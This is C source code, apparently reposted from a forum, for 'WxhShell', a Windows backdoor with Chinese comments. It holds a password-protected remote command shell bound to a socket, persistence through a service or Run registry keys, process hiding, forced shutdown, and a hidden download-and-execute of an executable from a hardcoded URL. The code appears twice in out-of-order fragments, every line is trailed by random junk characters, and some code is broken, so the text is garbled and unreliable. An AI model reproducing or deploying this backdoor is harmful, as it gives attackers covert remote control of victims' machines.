    } 4nQk*:p(X  
  // 关机 i_Dv+^&zV  
  case 'd': { /. GHR  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); FtXd6)_S  
    if(Boot(SHUTDOWN)) }CnqJ@>C5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p\T9 q  
    else { 2A7g}V  
    closesocket(wsh); qq" &Bc>  
    ExitThread(0); 6FNs4|(d  
    } ++d(}^C;  
    break; xdb9oH  
    } wNMgY  
  // 获取shell 64;F g/t  
  case 's': { L1A0->t  
    CmdShell(wsh); ?muI8b  
    closesocket(wsh); MG)wVS<d_  
    ExitThread(0); M>W-lp^3  
    break; ,3l=44*  
  } Kk#g(YgNz  
  // 退出 v-M3/*  
  case 'x': { bfy `UZr  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6X2>zUHR  
    CloseIt(wsh); gDE',)3Q,  
    break; _Mq0QQ42  
    } ivg:`$a[  
  // 离开 v'nM=  
  case 'q': { ]H<5]({F  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &$F4/2|b%  
    closesocket(wsh); `##qf@M  
    WSACleanup(); ~nJcHJ1nb4  
    exit(1); SQ!wq  
    break; ^Yz.,!B[  
        } 5[l9`Cn&A  
  } K dY3  
  } "S#4  
ru[W?O"  
  // 提示信息 7 zo)t1H1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vH/<!jtI  
} qOy3D~  
  } ^*.S7.;2o  
9s\(yC8h  
  return; V\Oe] w  
} ^%l~|w  
0!X;C!v;  
// shell模块句柄 H%N !;Jz=  
int CmdShell(SOCKET sock) par| j]  
{ gI8r SmH  
STARTUPINFO si; &Fo)ea  
ZeroMemory(&si,sizeof(si)); PhBdm'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }% (e`[?1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7L~LpB  
PROCESS_INFORMATION ProcessInfo; %"tLs%"7=P  
char cmdline[]="cmd"; .2?tx OKh  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k[lYd k  
  return 0; &2IrST{d:V  
} 1,@-y#V_  
Y@x }b{3  
// 自身启动模式 uim4,Zm{  
int StartFromService(void) MG ,exN @  
{ E^uau=F  
typedef struct 3 $7TeqfAC  
{ n+Ofbiz@  
  DWORD ExitStatus; 6&/H XqP  
  DWORD PebBaseAddress; '5xf?0@s.  
  DWORD AffinityMask; <L|eY(:  
  DWORD BasePriority; 46(Vq|  
  ULONG UniqueProcessId; ~5Wr |qg%{  
  ULONG InheritedFromUniqueProcessId; <hlH@[7!  
}   PROCESS_BASIC_INFORMATION; Y"qKe,  
Uw R,U#d  
PROCNTQSIP NtQueryInformationProcess; H|8vW  
}p-<+sFo  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mXZOkx{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @Dc?fyY*o<  
!wH7;tU  
  HANDLE             hProcess; VsS. \1  
  PROCESS_BASIC_INFORMATION pbi; :NB|r  
|lH~nU.*  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A*l(0`aWq  
  if(NULL == hInst ) return 0; v_Om3i9$E  
+zodkB~)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s@C KZ`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9L3#aE]C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J }izTI  
jU')8m[  
  if (!NtQueryInformationProcess) return 0; Dw}8ci'  
:$Lu V5  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _r!''@B  
  if(!hProcess) return 0; o6f^DG3*  
w)I!q&`Y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =6j4_+5mnH  
LL,&!KW[S  
  CloseHandle(hProcess); s8w7/*<d  
-:9E+b  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @ yJ/!9?^  
if(hProcess==NULL) return 0; fdr.'aMf%  
#PYTFB%  
HMODULE hMod; n]&/?6}  
char procName[255]; ow:}NI  
unsigned long cbNeeded; {XYv &K  
R_4]6{Rm  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kIS&! V  
S0.   
  CloseHandle(hProcess); 4ujw/`:/m  
$<^4G  
if(strstr(procName,"services")) return 1; // 以服务启动 ]'Y vI! r  
0gNwC~IA8  
  return 0; // 注册表启动 I}oxwc  
} [\N,ow,n  
b 62 o  
// 主模块 .<JD'%?"  
int StartWxhshell(LPSTR lpCmdLine) j^A0[:2  
{ f(q^R  
  SOCKET wsl; SF*! Z2K  
BOOL val=TRUE; ahgm*Cpc  
  int port=0; cy=,Dr9O  
  struct sockaddr_in door; d R2#n  
dtJaQ`  
  if(wscfg.ws_autoins) Install(); +gb2>fei&  
l'YpSO~l7  
port=atoi(lpCmdLine); @W3fKF9*R  
r1:S8RT;H5  
if(port<=0) port=wscfg.ws_port; S!gV\gEbDj  
]/;0  
  WSADATA data; <qH>[ \  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; CL/8p;  
_%Q\G,a;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =L~,HS(l,  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @]lKQZ^2&  
  door.sin_family = AF_INET; fd >t9.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); = ! D<1<  
  door.sin_port = htons(port); H?8uy_Sc  
"Yw-1h`fR  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kE QT[Lo  
closesocket(wsl); m Nw|S*C  
return 1; r.M8#YL  
} {UT>> *C  
$?p^ m`t_  
  if(listen(wsl,2) == INVALID_SOCKET) { N>;"r]Rl"  
closesocket(wsl); $x;wnXXXM  
return 1; cad1eOT'  
} 8EZ"z d`n/  
  Wxhshell(wsl); >*%ySlZbs  
  WSACleanup(); l= 5kd.{  
2!/*I:  
return 0; bG nBV7b  
=g' 7 xA  
} Mj5=t:MI  
Ni IX^&N1  
// 以NT服务方式启动 N(mhgC<O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -[OGZP`8  
{ *1iJa  
DWORD   status = 0; drT X  
  DWORD   specificError = 0xfffffff; -Zfzl`r  
"^~f.N  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (PU0\bGA  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; K' N`rx.7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |;{^Mci%  
  serviceStatus.dwWin32ExitCode     = 0; c>d+q9M  
  serviceStatus.dwServiceSpecificExitCode = 0; >69xl^Gd  
  serviceStatus.dwCheckPoint       = 0; R7cY$ K{j  
  serviceStatus.dwWaitHint       = 0; <x DD*u  
M=n!tVlCV  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s5FyP "V  
  if (hServiceStatusHandle==0) return; 0[}"b(O{  
Md'd=Y_0  
status = GetLastError(); 5T}$+R0&  
  if (status!=NO_ERROR) hX\XNiCiK8  
{ m *8[I  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; O?NAbxkp  
    serviceStatus.dwCheckPoint       = 0; lwPK^)|}  
    serviceStatus.dwWaitHint       = 0; I"*g-ji0  
    serviceStatus.dwWin32ExitCode     = status; /HH5Mn*  
    serviceStatus.dwServiceSpecificExitCode = specificError; (qHI>3tpY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T#?KY  
    return; {y=H49  
  } oz%ZEi \bW  
-fVeE<[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; lY!`<_Am  
  serviceStatus.dwCheckPoint       = 0; l/;OC  
  serviceStatus.dwWaitHint       = 0; oH!sJ&"#_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4 W}8?&T  
} 4%2QF F @  
(.7_`T6QG  
// 处理NT服务事件,比如:启动、停止 9ET2uDZpL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wG2lCv`d  
{ ON _uu]=  
switch(fdwControl) G\tTwX4  
{ ]OZZPo  
case SERVICE_CONTROL_STOP: "?lirOD  
  serviceStatus.dwWin32ExitCode = 0; yi%A*q~MT  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #B:J7&@fn  
  serviceStatus.dwCheckPoint   = 0; K^?yD   
  serviceStatus.dwWaitHint     = 0; VcIsAK".4[  
  { :6PWU$z$7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XLp tJ4~v  
  }  f]q3E[?/  
  return; y.5mYQA4=[  
case SERVICE_CONTROL_PAUSE: N!m-gymmF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <=n$oMO  
  break; ymXR#E  
case SERVICE_CONTROL_CONTINUE: 9I=J#Hi|+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >[,Rt"[V  
  break; 1 9a"@WB@  
case SERVICE_CONTROL_INTERROGATE: j(6:   
  break; P (jlWr$$  
}; UZMo(rG.]{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d6,%P 6  
} o\h[K<^>)  
WaF<qhu*  
// 标准应用程序主函数 -vwkvNn8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "cRc~4%K  
{ J]nb;4w  
EnA) Rz  
// 获取操作系统版本 C*ZgjFvB  
OsIsNt=GetOsVer(); Xj"/6|X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); fG;)wQJ  
o %A4wEye  
  // 从命令行安装 =|S8.|r+  
  if(strpbrk(lpCmdLine,"iI")) Install(); qfvd( w  
C9x'yBDv  
  // 下载执行文件 ~-lIOQ.v  
if(wscfg.ws_downexe) { A2 qus$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b* qkox;j  
  WinExec(wscfg.ws_filenam,SW_HIDE); :Y(Yk5  
} v<_}Br2I[  
(\.[pj%-O  
if(!OsIsNt) { }\=9l<|  
// 如果时win9x,隐藏进程并且设置为注册表启动 !Zgb|e8<  
HideProc(); fo&q/;l\  
StartWxhshell(lpCmdLine); !0c7nzjm  
} >BMJA:j  
else &5Ea6j  
  if(StartFromService()) cQzd0X  
  // 以服务方式启动 [wRk )kl`  
  StartServiceCtrlDispatcher(DispatchTable); oh%T4 $  
else VXZdRsV8T  
  // 普通方式启动 7!hL(k[  
  StartWxhshell(lpCmdLine); Q{b ZD*  
f[.RAHjk  
return 0; X<K[` =I  
} Ud^+a H  
B@e,3:  
%MU<S9k  
`hM`bcS  
=========================================== g$ZgR)q  
V%dMaX>^i  
LPb43  
FT/H~|Z>  
Dd<gYPC  
] $$ciFM  
" m@.4Wrv  
EyI 9$@4  
#include <stdio.h> 2$yKa5SaX  
#include <string.h> ?{\8!_Gvsl  
#include <windows.h> s#&jE GBug  
#include <winsock2.h> I|m fr{  
#include <winsvc.h> %<O'\&!,  
#include <urlmon.h>  7.CzS  
 {3yzC  
#pragma comment (lib, "Ws2_32.lib") pwT|T;j*  
#pragma comment (lib, "urlmon.lib") LT!.M m  
-5>K pgXo\  
#define MAX_USER   100 // 最大客户端连接数 PDREwBX  
#define BUF_SOCK   200 // sock buffer +Nv&Qu%  
#define KEY_BUFF   255 // 输入 buffer &.an-  
)AXTi4MNp  
#define REBOOT     0   // 重启 ;T/W7=4CZ  
#define SHUTDOWN   1   // 关机 .=3Sm%  
K7M7T5<  
#define DEF_PORT   5000 // 监听端口 ScQJsFE6  
z(g4D!  
#define REG_LEN     16   // 注册表键长度 j^llO1i/  
#define SVC_LEN     80   // NT服务名长度 3T# zxu  
Ayc}uuu  
// 从dll定义API }/x `w  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a ^iefwsNc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); yrR<F5xge  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); RQ y|W}d_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;dRTr *  
?=_l=dR  
// wxhshell配置信息 3*CF!Y%  
struct WSCFG { <\8dh(>  
  int ws_port;         // 监听端口 Yt++  ?  
  char ws_passstr[REG_LEN]; // 口令 ;EW]R9HCH  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~PHAC@pU  
  char ws_regname[REG_LEN]; // 注册表键名 W!4GL>9m}A  
  char ws_svcname[REG_LEN]; // 服务名 }(Nb]_H  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <po.:c Ce  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `XP]y=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _Z#yI/5r  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )6PZ.s/F6p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bnWIB+%_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^> .?k h9z  
t# &^ -;  
}; "%D+_Yb'X  
c;Hf+n  
// default Wxhshell configuration mc?5,oz;pz  
struct WSCFG wscfg={DEF_PORT, A~\:}P N  
    "xuhuanlingzhe", tB&D~M6[  
    1, BEg%u)"([  
    "Wxhshell", `8xmM A_l  
    "Wxhshell", 3xsC"c>  
            "WxhShell Service", '-D-H}%;}M  
    "Wrsky Windows CmdShell Service",  X4BDl  
    "Please Input Your Password: ", pJ6bX4QnDX  
  1, WU Q2[)<  
  "http://www.wrsky.com/wxhshell.exe", kR%CSLOVy  
  "Wxhshell.exe" N12K*P[!  
    }; 702&E(rx,  
-1Lh="US  
// 消息定义模块 i:&Y{iPQp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ZUQ1\Iw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~ I]kY%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \x(J v Dt  
char *msg_ws_ext="\n\rExit."; d5T0#ue/e  
char *msg_ws_end="\n\rQuit."; |ZJ]`qmZ  
char *msg_ws_boot="\n\rReboot..."; @8DB Ln w  
char *msg_ws_poff="\n\rShutdown..."; 4Mi*bN,  
char *msg_ws_down="\n\rSave to "; bo <.7  
q_g'4VZv  
char *msg_ws_err="\n\rErr!"; 8niQG']  
char *msg_ws_ok="\n\rOK!"; }z,4IHNn  
7xVI,\qV  
char ExeFile[MAX_PATH]; bo$xonV@y  
int nUser = 0; b}9K"GT  
HANDLE handles[MAX_USER]; Xleoh2&M  
int OsIsNt; :)q/8 0@  
r*>XkM& M  
SERVICE_STATUS       serviceStatus; y{? 6U>_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hDl& KE  
bG^E]a/D  
// 函数声明 Cm JI"   
int Install(void); G- Sw`HHo  
int Uninstall(void); e3F)FTG&  
int DownloadFile(char *sURL, SOCKET wsh); #fG!dD42  
int Boot(int flag); b^y#.V.|k  
void HideProc(void); HOsq _)K  
int GetOsVer(void); lc>nU hj.  
int Wxhshell(SOCKET wsl); Z2PLm0%:  
void TalkWithClient(void *cs); d{9rEB?  
int CmdShell(SOCKET sock); PP[{ c  
int StartFromService(void); "h_n/}r=  
int StartWxhshell(LPSTR lpCmdLine); s+yBxgQ/  
A0oC*/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6}L[7~1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +C/K@:p  
_t:rWC"X  
// 数据结构和表定义 ^gw_Up<e6  
SERVICE_TABLE_ENTRY DispatchTable[] = >LgV[D#=&o  
{ s)375jCga  
{wscfg.ws_svcname, NTServiceMain}, 9C-F%te7  
{NULL, NULL} "2'nLQ""q  
}; [uc;M6o}?  
j &,vju  
// 自我安装 '#4ya=Ww  
int Install(void) 0"#tK4  
{ >>(2ZJ  
  char svExeFile[MAX_PATH]; _Y|k \|'  
  HKEY key; 4oT2 5VH  
  strcpy(svExeFile,ExeFile); zXbTpm  
vo!:uvy;2  
// 如果是win9x系统,修改注册表设为自启动 dB<BEe\$g.  
if(!OsIsNt) { ZA1?'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { , y{o!w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8s?;<6  
  RegCloseKey(key); nvu|V3B0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5EFow-AH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mmwwz  
  RegCloseKey(key); UG Fx  
  return 0; 9D(M>'Bh  
    } ^^jF*)DT@  
  } @2CYv>  
} l"IBt:  
else { %Q1v8l.}  
R@=ve %a-  
// 如果是NT以上系统,安装为系统服务 Rk"VFe>r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); viD+~j18  
if (schSCManager!=0) , *e^,|#  
{ 8BE OE<  
  SC_HANDLE schService = CreateService RW,ew!Z  
  ( z\_q`43U7  
  schSCManager, $SG^, !!&A  
  wscfg.ws_svcname, qq[2h~6P]  
  wscfg.ws_svcdisp, }!Qo wG   
  SERVICE_ALL_ACCESS, .3{S6#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , d+fmVM?p  
  SERVICE_AUTO_START, 70lb6A  
  SERVICE_ERROR_NORMAL, -66|Y  
  svExeFile, "LaNXZ9  
  NULL, .DHZs#R  
  NULL, S'Yg!KwX  
  NULL, s:*gjoL  
  NULL, g}ciG!0  
  NULL xfkG&&  
  ); z ]o&^Q  
  if (schService!=0) TkWS-=lNH0  
  { K&BlWXT  
  CloseServiceHandle(schService); p|(910OEQ  
  CloseServiceHandle(schSCManager); E2X KhW  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w][ ;  
  strcat(svExeFile,wscfg.ws_svcname); _? 1<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !ye%A&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); VG&|fekF  
  RegCloseKey(key); -CtA\< 7I  
  return 0; BB--UM{7  
    } %lv2;-  
  } JF: QQ\  
  CloseServiceHandle(schSCManager); cp0>Euco=  
} 8Dhq_R'r  
} 9VV  
v{Zh!mk* L  
return 1; >p\IC  
} 0z#+^  
}= s@y"["  
// 自我卸载 ukS@8/eJ  
int Uninstall(void) Bwb3@vNA  
{ %L/Wc,My  
  HKEY key; ppb]RN|)  
wA.YEI|CSj  
if(!OsIsNt) { 4)JrOe&k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (LL4V 3)  
  RegDeleteValue(key,wscfg.ws_regname); n@T4z.*~lA  
  RegCloseKey(key); m`nv4i#o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u\Fq\_  
  RegDeleteValue(key,wscfg.ws_regname); _m3PAD4  
  RegCloseKey(key); s,K @t_J  
  return 0; +wD--24!(  
  } DI!NP;E  
} Yi7`iC  
} U g]6i+rp  
else { d";+8S  
cFGP3Q4{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !uO|1b  
if (schSCManager!=0) Ywr^uy1V,/  
{ t.lm`=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); A[htG\A` 0  
  if (schService!=0) l= ~]MSwY  
  { >W.Pg`'D  
  if(DeleteService(schService)!=0) { 3z\:{yl  
  CloseServiceHandle(schService); jl3RE|M\<  
  CloseServiceHandle(schSCManager); .[= 0(NO  
  return 0; lsJ'dS  
  } q6H90Zb  
  CloseServiceHandle(schService); |5e/.T$  
  } 1k{ E7eL  
  CloseServiceHandle(schSCManager); j\@s pbE@  
} :#d$[:r#  
} (d4zNYK  
aina6@S  
return 1; +P}'2tE~'  
} Z%(aBz7Et  
=]-!  
// 从指定url下载文件 N+HN~'8r  
int DownloadFile(char *sURL, SOCKET wsh) r^WO$u|@i  
{ 2#T|+mKxZM  
  HRESULT hr; Zp- Av8  
char seps[]= "/"; r{>tTJFD(:  
char *token; WQiEQ>6(t(  
char *file; Rp}6}4=d  
char myURL[MAX_PATH]; 6M+~{9(S  
char myFILE[MAX_PATH]; 53BXz= k  
_V-@95fK  
strcpy(myURL,sURL);  Gp@Y=mU  
  token=strtok(myURL,seps); Gxm+5q  
  while(token!=NULL) MZv&$KG4m@  
  { 0)k%nIhj  
    file=token; *v l_3S5_  
  token=strtok(NULL,seps); .Zf#L'Rf  
  } <mrLld#_:C  
g@B9i =  
GetCurrentDirectory(MAX_PATH,myFILE); -uy}]s5Qu  
strcat(myFILE, "\\"); 1PLKcU  
strcat(myFILE, file); ={={ W  
  send(wsh,myFILE,strlen(myFILE),0); 1hi^  
send(wsh,"...",3,0); x9-K}s]%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]y.,J  
  if(hr==S_OK) (Clf]\_II  
return 0; k(%RX _]C  
else $dorE ~T  
return 1; +-qD!(&-6  
rLh490@  
} ,_\h)R_  
<0v'IHlZ8  
// 系统电源模块 .N/4+[2p(  
int Boot(int flag) /~g M,*  
{ <pK; D  
  HANDLE hToken; gJ vc<]W8!  
  TOKEN_PRIVILEGES tkp; 2kCJqyWy  
6K?+adKlc  
  if(OsIsNt) { &/=xtO/Z{  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zx#d _SVi  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ``aoLQc`  
    tkp.PrivilegeCount = 1; >%Y.X38Z[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,A[HYc|uy  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]vKxgfF  
if(flag==REBOOT) { .u W_(Rqg  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) gj6"U {D  
  return 0; `Bkba:  
} {oBVb{<  
else { Z U f<s?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6u8`,&U  
  return 0; ~aA+L-s|  
} aW w`v[v  
  } LT'#0dCC  
  else { D=9x/ ) *G  
if(flag==REBOOT) { ,!sAr;Rk`  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  2HQHC]  
  return 0; _@?]!J[  
} w:z_EV!&  
else { r'xa' 6&  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -#rFCfPy^  
  return 0; &W.tjqmw  
} 1(On.Y=   
} ~)oC+H@{  
6JK;]Ah  
return 1; =YLt?5|e  
} 4~Lw:o1a  
sI*( MhU  
// win9x进程隐藏模块 Z!LzyCVl  
void HideProc(void) Szwa2IdI.  
{ mUnn k`v  
yKDg ~zsh  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2Q1* Xq{  
  if ( hKernel != NULL ) .JQR5R |Q  
  { W%vh7>.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \?g)jY  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H26 j]kY  
    FreeLibrary(hKernel); x%cKTpDh!  
  } %pTbJaM\U  
4I{|M,+  
return; Eq'{uV:  
} gK#a C [  
RsTpjY*Xb  
// 获取操作系统版本 3 5|5|m a  
int GetOsVer(void) *dUnP{6g  
{ DrMcE31  
  OSVERSIONINFO winfo; w :^b3@gd  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [DjdR_9*I  
  GetVersionEx(&winfo); ;9u6]%hQTX  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W]6Y buP:  
  return 1; Yng9_w9Y  
  else b3Y9  
  return 0; z%mM#X  
} xA&G91|s  
:hxfd b-  
// 客户端句柄模块 f$(w>B7..  
int Wxhshell(SOCKET wsl) .>CqZN,^  
{ U%w-/!p  
  SOCKET wsh; wond>m 3  
  struct sockaddr_in client; ce+\D'q[  
  DWORD myID; iW)FjDTP  
vcV=9q8P1  
  while(nUser<MAX_USER) Mc76)  
{ xwK<f6H!y  
  int nSize=sizeof(client); Y*J`Wf(w  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); d/R:-{J)c  
  if(wsh==INVALID_SOCKET) return 1; 9RR1$( f  
~^Vt)/}Q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); HnOp*FP  
if(handles[nUser]==0) ''f  
  closesocket(wsh); ^f3F~XhY3  
else /l:3* u  
  nUser++; PPE:@!u<  
  } , JVD ;u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); [lyB@) 6.  
n"_EDb  
  return 0; A!iV iX &y  
} 3~Ipcr B  
L & PhABZ  
// 关闭 socket LuQ=i`eXx  
void CloseIt(SOCKET wsh) /!7m@P|&D  
{ B;7L:  
closesocket(wsh);  299; N  
nUser--; 7 NJ1cQ-}t  
ExitThread(0); j g$%WAEb  
} NSM-p.I9  
V=E9*$b]  
// 客户端请求句柄 #a}fI  
void TalkWithClient(void *cs) =A=er1~%  
{ c*1B*_08  
3(FJ<,"D}  
  SOCKET wsh=(SOCKET)cs; GHYgSS  
  char pwd[SVC_LEN]; hiP^*5h  
  char cmd[KEY_BUFF]; ChmPO|2F  
char chr[1]; O\lt!p3F  
int i,j; K mL PWj  
5^P)='0*  
  while (nUser < MAX_USER) { $ n 7dIE  
i ]F,Y;&|  
if(wscfg.ws_passstr) { /=Q7RJ@P  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D ZLSn Ax  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Cww$ A %}  
  //ZeroMemory(pwd,KEY_BUFF); _W?}%;  
      i=0; oN)K2&M0  
  while(i<SVC_LEN) { :X2B+}6_&  
c&F"tLl  
  // 设置超时 >@y5R^B`  
  fd_set FdRead; >`s2s@Mx  
  struct timeval TimeOut; A")B<BK  
  FD_ZERO(&FdRead); jOEb1  
  FD_SET(wsh,&FdRead); !:e}d+F  
  TimeOut.tv_sec=8; +J+]P\:  
  TimeOut.tv_usec=0; X}Fc0Oo  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tlvLbP*r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); r6MQ|@  
M@{GT/`Pf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X "1q$xwc  
  pwd=chr[0]; }$iH 3#E8  
  if(chr[0]==0xd || chr[0]==0xa) { *qKwu?]?>  
  pwd=0; SV8rZWJ  
  break; M}M.  
  } qw"`NubX  
  i++; :5h&f  
    } D!)'c(b  
|!rD2T\Ef  
  // 如果是非法用户,关闭 socket dos$d3B4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T#er5WOH  
}  l R;<6  
1 ht4LRFi  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); nm\n\j~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xNq&_oY7  
F/@#yQv?  
while(1) { N:gS]OI*  
JUwP<C[  
  ZeroMemory(cmd,KEY_BUFF); (lEWnf=2h  
7{<t]wQq  
      // 自动支持客户端 telnet标准   "&L<u0KHG  
  j=0; yUEUIPL  
  while(j<KEY_BUFF) { {b]WLBy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d \0K 3=h  
  cmd[j]=chr[0]; _!w# {5~  
  if(chr[0]==0xa || chr[0]==0xd) { Ak>RLD25_  
  cmd[j]=0; =X-$k k  
  break; 0~n= |3*P  
  } CBi V':;  
  j++; 8+gSn  
    } G ytI_an8  
> -k$:[l  
  // 下载文件 \ m 2[  
  if(strstr(cmd,"http://")) { 97$y,a{6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^B]M- XG  
  if(DownloadFile(cmd,wsh)) inR8m 4c]P  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); hQHV]xW  
  else h2uO+qEsu  
